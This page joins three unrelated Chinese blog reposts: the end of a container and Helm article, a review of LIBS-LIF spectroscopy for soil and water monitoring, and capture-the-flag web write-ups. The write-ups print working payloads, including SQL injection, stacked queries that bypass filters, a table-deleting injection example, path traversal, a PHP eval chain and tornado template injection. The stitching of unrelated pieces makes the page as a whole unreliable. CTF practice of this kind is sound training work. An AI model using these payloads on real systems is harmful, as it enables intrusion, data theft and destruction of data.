管理进程部署/升级这个"应用"。这种方式解决了一些问题（应用分发更方便）同时也引入了一些问题（引入Helm增加应用发布/管理复杂度、在K8S修改了对象后如何同步到Helm）。对于是否需要使用Helm，建议如下： 在自运维模式下不使用Helm: 自运维模式下，很多场景是开发团队交付一个运行包，运维团队负责部署与配置下发，内部通过兼容性或软件包与配置版本配套清单、管理软件包与配置的配套关系。 在交付软件包模式下使用Helm: 交付软件包模式下，Helm 这种把散碎组件组装为一个应用的模式比较适合，使用Helm实现软件包分发/部署/升级场比较简单。 Reference DOCKER vs LXC vs VIRTUAL MACHINES Cgroup与LXC简介 Introducing Container Runtime Interface (CRI) in Kubernetes frakti rkt appc-spec OCI 和 runc：容器标准化和 docker Linux 容器技术史话：从 chroot 到未来 Linux Namespace和Cgroup Java inside docker: What you must know to not FAIL QEMU,KVM及QEMU-KVM介绍 kvm libvirt qemu实践系列(一)-kvm介绍 KVM 介绍（4）：I/O 设备直接分配和 SR-IOV [KVM PCI/PCIe Pass-Through SR-IOV] prometheus-book 到底什么是Unikernel？ The Rise and Fall of the Operating System The Design and Implementation of the Anykernel and Rump Kernels UniKernel Unikernel：从不入门到入门 OSv 京东如何打造K8s全球最大集群支撑万亿电商交易 Cloud Native App Hub 更多云最佳实践 https://best.practices.cloud 本篇文章为转载内容。原文链接：https://blog.csdn.net/sinat_33155975/article/details/118013855。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...基石。在工业化发展的影响下，土壤重金属污染和积累成为了一个世界性的问题，尤其在中国特别是长三角地区尤为严重[1]。   水是生命之源，水体问题直接关系到所有生物体的生存。环境中的水体问题，主要集中在工业废水的治理与监测上。工业废水中含有大量重金属元素，其难以生物降解，重金属元素会随着水体流动而扩散。   物质元素分析在土壤分析和水质分析上是常用的方式。传统的分析方法是基于实验室的元素光谱分析法，其具有高精度、高稳定的特点，如：原子吸收光谱法(Atomic absorption spectrometry, AAS)、电感耦合等离子体质谱法(Inductively coupled plasma mass spectrometry, ICP-MS)、电感耦合等离子体原子发射光谱法(Inductively coupled plasma atomic emission spectrometry, ICP-AES)等，但是此类光谱的检测样品预处理复杂、检测操作难度高、需要庞大复杂的实验设备，且对样品造成损坏，有所不便[2,3]。   激光诱导击穿光谱(Laser induced breakdown spectroscopy，LIBS)是一种基于原子光谱分析技术，与传统的光谱分析技术相比，其实验装置简单便携、操作简便、应用广泛、可远程测量，同时有在简单预处理样品或根本不预处理的情况下进行现场测量的潜力。因此，其满足在环境监测中，特别是土壤监测和水质监测此类希望可以在现场检测、快速便捷检测，同时精度较高的需求。LIBS技术很容易与其他技术如激光诱导荧光技术(Laser induced fluorescence, LIF)、拉曼光谱(Raman)等技术联用，进一步提高了 LIBS技术的检测准确度和竞争力[4]。 　 1. 技术简介 1.1 LIBS技术简介   LIBS技术最早可以追溯到20世纪60年代Brech, F.和Cross, L.所做的激光诱导火花散射实验，其中的一项实验使用红宝石激光器产生的激光照射材料后产生等离子体羽流。经过了几十年的发展，LIBS技术得到了显著发展，其在环境检测、文物保护鉴定、岩石检测、宇宙探索等领域中被广泛应用。 1.1.1 LIBS技术的基本原理   LIBS技术的装置主要由脉冲激光器、光谱仪、样品装载平台和计算机组成，光谱仪和计算机之间常常由光电倍增管或CCD等光电转换器件连接，如图 1所示[3]。 图 1 LIBS实验装置图[3]   首先，通过脉冲激光器产生强脉冲激光后由透镜聚焦到样品上，被聚焦区域的样品吸收，产生初始自由电子，并在持续的激光脉冲作用下加速。初始自由电子获取到足够高的能量之后，会轰击原子电离产生新的自由电子。随着激光脉冲作用的持续，自由电子和原子的作用如此往复碰撞，在短时间内形成等离子体，形成烧蚀坑。接着，激光脉冲结束，等离子体温度逐渐降低，产生连续背景辐射并产生原子或离子的发射光谱。通过光谱仪采集信号，在计算机上分析特征谱线的波长和强度信息就可以对样本中的元素进行定性和定量分析[2]。 1.1.2 LIBS技术的定量分析   由文献[2]可知，LIBS技术的定量分析方法通常有外标法、内标法和自由校准法(CF)。其中，最简单方便的是外标法。 外标法由光谱分析基本定量公式Lomakin-Scheibe公式 I=aCb(1)I=aC^b \tag{1} I=aCb(1) 式中III为光谱强度，aaa为比例系数，CCC为元素浓度，bbb为自吸收系数。自吸收系数bbb会随着元素浓度CCC的减小而增大，当元素浓度CCC很小时，b=1b=1b=1。使用同组仪器测量时aaa和bbb的值为定值。 将式（1）左右两边取对数，得 lg⁡I=blg⁡C+lg⁡a(2)lg⁡I=blg⁡C+lg⁡a \tag{2} lg⁡I=blg⁡C+lg⁡a(2)   由式（2）可知，当b=1时，光谱强度和元素浓度呈线性关系。因此，可以通过检验一组标准样品的元素浓度和对应的光谱强度，绘制出对应的标准曲线，从而根据曲线的得到未知样品的浓度值。   如图 2 (a)(b)所示，通过使用LIBS技术多次测定一系列含有Co元素的标准样品的光谱强度后取平均可以绘制出图 2 (b)所示的校正曲线[5]。同时可以计算出曲线的相关系数R^2、交叉验证均方差(RMSECV)和样品中Co元素的检出限(LOD)。 图 2 用LIBS和LIBS-LIF技术测定有效钴元素的光谱和校准曲线[5] (a) (b)使用LIBS技术测定，(c) (d)使用LIBS-LIF技术测定 　 1.1.3 LIBS技术的优缺点   随着LIBS技术的提高和广泛应用，其自身独特的优势也显示出来，其主要优点主要如下[6]：   （1）样品不需要进行预处理或只需要稍微预处理。   （2）样品检测时间短，相较于传统的AAS、ICP-AES等技术检测需要几分钟到几小时的时间相比，LIBS技术检测只需要3-60秒。   （3）样品的检出限LOD高，对于低浓度样品检测更加灵敏精确。   （4）实验装置结构简单，便携性高。   （5）可用于远程遥感监测   （6）对于检测样品的损伤基本没有，十分适合对于文物遗迹等方面进行应用   LIBS技术也有着自身的缺陷，其中问题最大的就是相较于传统的AAS、ICP-AES等技术来说，LIBS的检测准确性低，只有5-20%。   但LIBS还有一个优点在于很容易与其他技术如激光诱导荧光技术(Laser induced fluorescence, LIF)、拉曼光谱(Raman)等技术联用，可以弥补LIBS技术的检测准确率低的缺陷，同时结合其他技术的优势提高竞争力[7]。 1.2 LIBS-LIF技术   LIBS技术常常与LIF技术联合使用，即LIBS-LIF技术。通过LIF技术对特征曲线信号的选择性加强作用，有效的提高了检测的准确率，改善了单独使用LIBS检测准确率低的缺陷。   LIBS-LIF技术在1979年由Measures, R. M.和Kwong, H. S.首次使用，用于各种样品中微量铬元素的选择性激发。 1.2.1 LIF技术的基本原理   LIF技术，是通过激光辐射激发原子或者分子，之后被照射的原子或分子自发发射出的荧光。   首先，调节入射激光的波长，从而改变入射激光的能量。之后，当入射激光的能量与检测区域中的气态分子或原子的能级差相同时，分子或原子将被激光共振激发跃迁至激发态，但是这种激发态并不稳定，会通过自发辐射释放出另一个光子能量并向下跃迁，同时发射出分子或原子荧光，这便是激光诱导荧光。   其中，分子或原子发射荧光的跃迁过程主要有共振荧光、直越线荧光、阶跃线荧光和多光子荧光四种，如图3所示[2]。元素被激发的直跃线荧光往往强度大，散射光干扰弱，故被常用。 图 3 分子或原子发射荧光的跃迁过程[2] 　 1.2.2 Co原子的LIBS-LIF增强原理   下面将以Co元素为例，说明LIBS-LIF技术的原理。   Co元素直跃线荧光的产生原理图如图 4所示[5]。波长为304.40nm的激光能量刚好等于Co原子基态到高能态(4.07eV)的能级差，Co原子被304.40nm的激发照射后跃迁至该能级。随后，该能级上的Co原子通过自发辐射释放能量跃迁至低能态(0.43eV)，同时发出波长为304.51nm的荧光。因此，采用LIF的激发波长为304.40nm，光谱仪对应的检测波长为304.51nm。 图 4 Co元素直跃线荧光产生原理图[5]   LIBS-LIF技术的装置如图 5所示[5]，与LIBS装置不同的是其增加了一台可调激光器，如染料激光器、OPO激光器等。其用于激发特定元素的被之前LIBS激发出的等离子体。该激光平行于样品表面照射，不会对样品产生损伤。 图 5 LIBS-LIF实验装置图[5]   在本次Co元素的检测中，OPO激光器的波长为304.40nm。样品首先通过脉冲激光器垂直照射后产生等离子体，原理和LIBS技术一致。之后使用OPO激光器产生的304.40nm的激光照射等离子体，激发荧光信号，增强特征谱线的强度。最后通过光谱仪采集信号，在计算机上分析特征谱线。   LIBS-LIF技术对Co原子测定的光谱和校正曲线如图 2 (c）(d)所示。通过与(a)(b)图对可得到，使用LIBS-LIF技术明显增强了Co原子的特征谱线强度，同时定量分析得到的校正曲线的相关系数R^2、交叉验证均方差(RMSECV)和样品中Co元素的检出限(LOD)数值都有很好的改善。 　　 2. LIBS-LIF技术用于土壤监测   土壤监测是LIBS-LIF技术的最传统应用方向之一。土壤成分复杂，蕴含多种微量元素，这些元素必须维持在合理的范围内。若如铬等相关微量元素过低，则会对作物的生长产生影响；而若铅等重金属元素过高，则表明土地受到了污染，种植出的作物可能存在重金属残留的问题。 2.1 早期研究   LIBS-LIF技术用于大气压下的土壤元素检测可以最早追溯到1997年Gornushkin等人使用LIBS技术联合大气紫外线测定石墨、土壤和钢中钴元素的可行性[8]，其紫外线即起到作为LIF光源的作用。   之后，为了评估该技术在现场快速检测分析中的可行性，其使用了可以同时检测分析22种元素的Paschen-Runge光谱仪以发挥LIBS技术可以快速检测多种元素的优势。同时使用染料激光器作为LIF光源，使用LIBS-LIF技术对Cd和TI元素进行了信号选择性增强测量，排除了邻近元素谱线的干扰。但是对于Pb元素还无法检测[9]。 2.2 近期研究现状   华中科技大学GAO等人在2018年对土壤中难以检测的Sb元素使用LIBS-LIF技术进行检验，排除了检验Sb元素时邻近Si元素的干扰，并探讨了使用常规LIBS时在287nm-289nm的波长下不同的ICCD延时长度对信号强度的影响，以及使用LIBS-LIF技术时作为LIF光源的OPO激光器激光能量对Sb元素特征谱线信号强度与信噪比的影响、激光光源脉冲间延时长度对Sb元素特征谱线信号强度与信噪比的影响，由相关结果得到了最优实验条件[10]，如图 6至图 8所示。 图 6 不同ICCD延迟时间下样品在287.0-289.0 nm波段的光谱 　 图 7 LIBS-LIF和常规LIBS得到的光谱比较 　 图 8 Sb特征谱线的强度和信噪比曲线 (A)Sb特征谱线的强度和信噪比随OPO激光能量的变化关系；(B)Sb特征谱线的强度和信噪比随两个激光器之间脉冲延迟的变化关系 　 　   近期，该实验室研究了利用LIBS-LIF测定土壤中的有效钴含量。该实验着重于研究检测土壤中能被植物吸收的元素，即有效元素，强化研究的实际意义；利用DPTA提取样品，增大检测浓度；使用LIBS-LIF测定有效钴含量，排除了相邻元素的干扰。 　 3. LIBS及LIBS-LIF技术用于水质监测   LIBS及LIBS-LIF技术用于水质检测的原理和流程土壤检测基本一致，但是面临着更多的挑战。在水样的元素定量测定中，水的溅射会干扰到光的传播和收集，从而降低采集的灵敏度；由于水中羟基(OH)的猝灭作用会使得激发的等离子体寿命较短，因此等离子体的辐射强度低，进而影响分析灵敏度[2]。同时，由于部分实验方式造成使用LIBS-LIF技术不太方便，只能使用传统LIBS技术。   因此，在使用LIBS技术进行检验时还需要做相关改进。最常见的就是进行样品的预处理，在样品制备上进行改进。   由文献[11]整理可知，样品的预处理主要可以分为液体直接检测、液固转换检测、液气转换检测三种。 3.1液体直接检测   液体直接检测主要有两种方式：将光聚焦在静态液体测量和将光聚焦在流动的液体测量两种。   最早期使用LIBS技术进行检验的就是直接将光聚焦在静态液体表面测量。但其精确度和灵敏度往往比将光聚焦在流动的液体测量低。Barreda等人比较了在静态、液体喷射态和液体流动态下硅油中的铂元素使用LIBS进行检测，最后液体喷射态和液体流动态下的LOD比静态下降低了7倍[12]。   但上述实验是在有气体保护下进行的结果。总体上看，液体直接检测并不是一个很好的选择。 图 9 液体分析的三种不同实验装置图[12] a液体喷射分析，b静态液体分析，c通道流动液体分析 　 3.2液固转换检测   液固转换法是检测中最常用的方法，其主要可以分为以下几类： 3.2.1吸附法   吸附法是最常用的预处理方式，利用可吸附材料吸收液体中的微量元素。常用的材料有碳平板、离子交换聚合物膜，或者滤纸、竹片等将液体转换为固体，从而进行分析。   2008年，华南理工大学Chen等人以木片作为基底吸附水溶液的方式测定了Cr、Mn、Cu、Cd、Pb五种金属元素在微量浓度下的校正曲线，其检出限比激光聚焦在页面上直接分析高出2-3个数量级[13]。之后2017年，同实验室的Kang等人以木片作为基底吸附水溶液的方式，使用LIBS-LIF技术对水中的痕量铅进行了高灵敏度测量，最后得到的铅元素的LOD为~0.32ppb，超过了传统实验室检测技术ICP-AES的检测方式，为国际领先水平[14]。 3.2.2成膜法   与吸附法相反，成膜法是将水样滴在非吸水性衬底上，如Si+SiO2衬底和多空电纺超细纤维等，然后干燥成膜，从而转化为固体进行分析。 3.2.3微萃取法   微萃取法是利用萃取剂和溶液中的微量元素化学反应来实现富集。其中，分散液液体微萃取(Dispersion liquid-liquid microextraction, DLLME)是一种简单、经济、富集倍数高、萃取效率高的方法，被广泛使用。 3.2.4冷冻法   将液体冷冻成为冰是液固转化的一种直接预处理方式，冰的消融可以防止液体飞溅和摇晃，从而改善液体分析性能。 3.2.5电沉积法   电沉积法是利用电化学反应，将液体中的样品转化为固体样品并进行预浓缩，之后用于检测。该方法可以使得灵敏度大大提高，但是实验设备也变得复杂，预处理工作量也有变大。 3.3液气转换检测   将液体转化为气溶胶可以使得样品更加稳定，从而产生更稳定的检测信号。可以使用超声波雾化器和膜干燥器等产生气溶胶，再进行常规的LIBS-LIF检测。   Aras等人使用超声波雾化器和薄膜干燥器单元产生亚微米级的气溶胶，实现了液气体转换，并在实际水样上测试了该超声雾化-LIBS系统的适用性，相关实验装置如图 10、图 11所示[15]。 图 10 用于金属气溶胶分析的LIBS实验装置图[15] M：532 nm反射镜，L：聚焦准直透镜，W：石英，P：泵浦，BD：光束转储 　 图 11 样品导入部分结构图[15] (A)与薄膜干燥器相连的USN颗粒发生器去溶装置(加热器和冷凝器)；(B)与5个武装聚四氟乙烯等离子电池相连的薄膜干燥器。G：进气口，DU：脱溶装置，W：废料，MD：薄膜干燥机，L：激光束方向，C：样品池，M：反射镜，F.L.：聚焦透镜 　 　 　 4. 总结与展望   本文简要介绍了LIBS和LIBS-LIF的原理，并对LIBS-LIF在环境监测中的土壤监测和水质检测做了简要的介绍和分类。   LIBS-LIF在土壤监测的技术已经逐渐成熟，基本实现了土壤的快速检测，同时也有相关便携式设备的研究正在进行。对于水质监测方面，使用LIBS-LIF检测往往集中在液固转换法的使用上，对于气体和液体直接检测，由于部分实验装置的限制，联用LIF技术往往比较困难，只能使用传统的LIBS技术。   LIBS-LIF技术快速检测、不需要样品预处理或只需要简单处理、可以实现就地检测等优势与传统实验室检测相比有着独到的优势，虽然目前由于技术限制精度还不够高，但是在当前该领域的火热研究趋势下，相信未来该技术必定可以大放异彩，为绿色中国奉献光学领域的智慧。 　 　 　 参考文献 [1] Hu B, Jia X, Hu J, et al.Assessment of Heavy Metal Pollution and Health Risks in the Soil-Plant-Human System in the Yangtze River Delta, China[J].International Journal of Environmental Research and Public Health,2017, 14 (9): 1042. [2] 康娟. 基于激光剥离的物质元素高分辨高灵敏分析的新技术研究[D]. 华南理工大学,2020. [3] 马菲, 周健民, 杜昌文.激光诱导击穿原子光谱在土壤分析中的应用[J].土壤学报: 1-11. [4] Gaudiuso R, Dell'aglio M, De Pascale O, et al.Laser Induced Breakdown Spectroscopy for Elemental Analysis in Environmental, Cultural Heritage and Space Applications: A Review of Methods and Results[J].Sensors,2010, 10 (8): 7434-7468. [5] Zhou R, Liu K, Tang Z, et al.High-sensitivity determination of available cobalt in soil using laser-induced breakdown spectroscopy assisted with laser-induced fluorescence[J].Applied Optics,2021, 60 (29): 9062-9066. [6] Hussain Shah S K, Iqbal J, Ahmad P, et al.Laser induced breakdown spectroscopy methods and applications: A comprehensive review[J].Radiation Physics and Chemistry,2020, 170. [7] V S D, George S D, Kartha V B, et al.Hybrid LIBS-Raman-LIF systems for multi-modal spectroscopic applications: a topical review[J].Applied Spectroscopy Reviews,2020, 56 (6): 1-29. [8] Gornushkin I B, Kim J E, Smith B W, et al.Determination of Cobalt in Soil, Steel, and Graphite Using Excited-State Laser Fluorescence Induced in a Laser Spark[J].Applied Spectroscopy,1997, 51 (7): 1055-1059. [9] Hilbk-Kortenbruck F, Noll R, Wintjens P, et al.Analysis of heavy metals in soils using laser-induced breakdown spectrometry combined with laser-induced fluorescence[J].Spectrochimica Acta Part B-Atomic Spectroscopy,2001, 56 (6): 933-945. [10] Gao P, Yang P, Zhou R, et al.Determination of antimony in soil using laser-induced breakdown spectroscopy assisted with laser-induced fluorescence[J].Appl Opt,2018, 57 (30): 8942-8946. [11] Zhang Y, Zhang T, Li H.Application of laser-induced breakdown spectroscopy (LIBS) in environmental monitoring[J].Spectrochimica Acta Part B: Atomic Spectroscopy,2021, 181: 106218. [12] Barreda F A, Trichard F, Barbier S, et al.Fast quantitative determination of platinum in liquid samples by laser-induced breakdown spectroscopy[J].Anal Bioanal Chem,2012, 403 (9): 2601-10. [13] Chen Z, Li H, Liu M, et al.Fast and sensitive trace metal analysis in aqueous solutions by laser-induced breakdown spectroscopy using wood slice substrates[J].Spectrochimica Acta Part B: Atomic Spectroscopy,2008, 63 (1): 64-68. [14] Kang J, Li R, Wang Y, et al.Ultrasensitive detection of trace amounts of lead in water by LIBS-LIF using a wood-slice substrate as a water absorber[J].Journal of Analytical Atomic Spectrometry,2017, 32 (11): 2292-2299. [15] Aras N, Yeşiller S Ü, Ateş D A, et al.Ultrasonic nebulization-sample introduction system for quantitative analysis of liquid samples by laser-induced breakdown spectroscopy[J].Spectrochimica Acta Part B: Atomic Spectroscopy,2012, 74-75: 87-94. 本篇文章为转载内容。原文链接：https://blog.csdn.net/yyyyang666/article/details/129210164。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...e']) //如果变量不存在的话，empty()并不会产生警告。 && is_string($_REQUEST['file']) //必须是字符串&& emmm::checkFile($_REQUEST['file']) //上面的那个类) {include $_REQUEST['file']; //就包含这个文件 参数也就是fileexit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} ?> 所以 最后就是 这样 ?file=hint.php?../../../../../../../../ffffllllaaaagggg 就得到了flag flag{acbbba26-c81b-4603-bcb7-25f78adeab18} [强网杯 2019]随便注 进入题目链接 1.输入：1' 查看注入类型 所以他的sql语句是单引号过滤 2.查看字段 （为2） 1' order by 2 3.显示回显 1' union select 1,2 相当于告诉了我们它的过滤 尝试用堆叠查询试试了 4.查库 1;show database(); 5.查表 1';show tables; 所以是有两个表 1919810931114514 words 6.查列 1';show columns from words; 表名words需要被 这个符号包起来，这个符号是 esc下面一个的按键，这个符号在mysql里 用于 分割其他命令，表示此为（表名、字段名） 1';show columns from 1919810931114514; 看到flag了!!! 那么如何查询到数据呢？ select 函数被过滤了，其实mysql的函数有很多 这里通过 MYSQL的预处理语句，使用 : concat（'s','elect',' from 1919810931114514'） 完成绕过 构造pyload： 1';PREPARE test from concat('s','elect',' from 1919810931114514');EXECUTE test; flag{3b3d8fa2-2348-4d6b-81af-017ca90e6c81} [SUCTF 2019]EasySQL 环境我已经启动了 进入题目链接 老套路 先看看源码里面有什么东西 不出意料的什么都没有 但是提示我们它是POST传参 这是一道SQL注入的题目 不管输入什么数字，字母 都是这的 没有回显 但是输入:0没有回显 不知道为啥 而且输入:1' 也不报错 同样是没有回显 尝试注入时 显示Nonono. 也就是说，没有回显，联合查询基本没戏。 好在页面会进行相应的变化，证明注入漏洞肯定是有的。 而且注入点就是这个POST参数框 看了大佬的WP 才想起来 还有堆叠注入 堆叠注入原理 在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：1; DELETE FROM products服务器端生成的sql语句为：（因未对输入的参数进行过滤）Select from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。 1;show databases; 1;show tables; 1;use ctf;show tables; 跑字典时 发现了好多的过滤 哭了 没有办法… 看到上面主要是有两中返回，一种是空白，一种是nonono。 在网上查writeup看到 输入1显示:Array ( [0] => 1 )输入a显示:空白输入所有非0数字都显示:Array ( [0] => 1 )输入所有字母（除过滤的关键词外）都显示空白 可以推测题目应该是用了||符号。 推测出题目应该是select $_post[value] || flag from Flag。 这里 就有一个符号|| 当有一边为数字时 运算结果都为 true 返回1 使用 || 运算符，不在是做或运算 而是作为拼接字符串的作用 在oracle 缺省支持 通过 || 来实现字符串拼接，但在mysql 缺省不支持 需要调整mysql 的sql_mode 模式：pipes_as_concat 来实现oracle 的一些功能。 这个意思是在oracle中 || 是作为字符串拼接，而在mysql中是运算符。 当设置sql_mode为pipes_as_concat的时候，mysql也可以把 || 作为字符串拼接。 修改完后，|| 就会被认为是字符串拼接符 MySQL中sql_mode参数，具体的看这里 解题思路1： payload：,1 查询语句：select ,1||flag from Flag 解题思路2： 堆叠注入，使得sql_mode的值为PIPES_AS_CONCAT payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 解析： 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不支持。需要调整mysql 的sql_mode模式：pipes_as_concat 来实现oracle 的一些功能。 flag出来了 头秃 不是很懂 看了好多的wp… [GYCTF2020]Blacklist 进入题目链接 1.注入：1’ 为'闭合 2.看字段：1' order by 2 确认字段为2 3.查看回显:1’ union select 1,2 发现过滤字符 与上面的随便注很像 ，太像了，增加了过滤规则。 修改表名和set均不可用，所以很直接的想到了handler语句。 4.但依旧可以用堆叠注入获取数据库名称、表名、字段。 1';show databases 获取数据库名称1';show tables 获取表名1';show columns from FlagHere ; 或 1';desc FlagHere; 获取字段名 5.接下来用 handler语句读取内容。 1';handler FlagHere open;handler FlagHere read first 直接得到 flag 成功解题。 flag{d0c147ad-1d03-4698-a71c-4fcda3060f17} 补充handler语句相关。 mysql除可使用select查询表中的数据，也可使用handler语句 这条语句使我们能够一行一行的浏览一个表中的数据，不过handler语句并不 具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中 [GKCTF2020]cve版签到 查看提示 菜鸡的第一步 提示了：cve-2020-7066 赶紧去查了一下 cve-2020-7066PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。 描述在低于7.2.29的PHP版本7.2.x，低于7.3.16的7.3.x和低于7.4.4的7.4.x中，将get_headers（）与用户提供的URL一起使用时，如果URL包含零（\ 0）字符，则URL将被静默地截断。这可能会导致某些软件对get_headers（）的目标做出错误的假设，并可能将某些信息发送到错误的服务器。 利用方法 总的来说也就是get_headers()可以被%00截断 进入题目链接 知识点： cve-2020-7066利用 老套路：先F12查看源码 发现提示：Flag in localhost 根据以上 直接上了 直接截断 因为提示host必须以123结尾，这个简单 所以需要将localhost替换为127.0.0.123 成功得到flag flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801} GXYCTF2019禁止套娃 考点： .git源码泄露 无参RCE localeconv() 函数返回一包含本地数字及货币格式信息的数组。scandir() 列出 images 目录中的文件和目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素，并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。 具体细节，看这里 进入题目链接 上御剑扫目录 发现是.git源码泄露 上githack补全源码 得到源码 <?phpinclude "flag.php";echo "flag在哪里呢？<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦！");} }else{die("再好好想想！");} }else{die("还想读flag，臭弟弟！");} }// highlight_file(__FILE__);?> 既然getshell基本不可能，那么考虑读源码 看源码，flag应该就在flag.php 我们想办法读取 首先需要得到当前目录下的文件 scandir()函数可以扫描当前目录下的文件，例如： <?phpprint_r(scandir('.'));?> 那么问题就是如何构造scandir('.') 这里再看函数： localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点： current(localeconv())永远都是个点 那么就很简单了 print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步：读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下，利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数，此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由，就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的，参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的，名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象，hexdigest()是获得加密后的16进制字符串 urllib.unquote(） 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog，且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了：secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为：fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入： /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目： 1.tornado是一个python的模板，可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数，也就是一种模板，通过调用的参数不同，生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息，想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞，尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入： 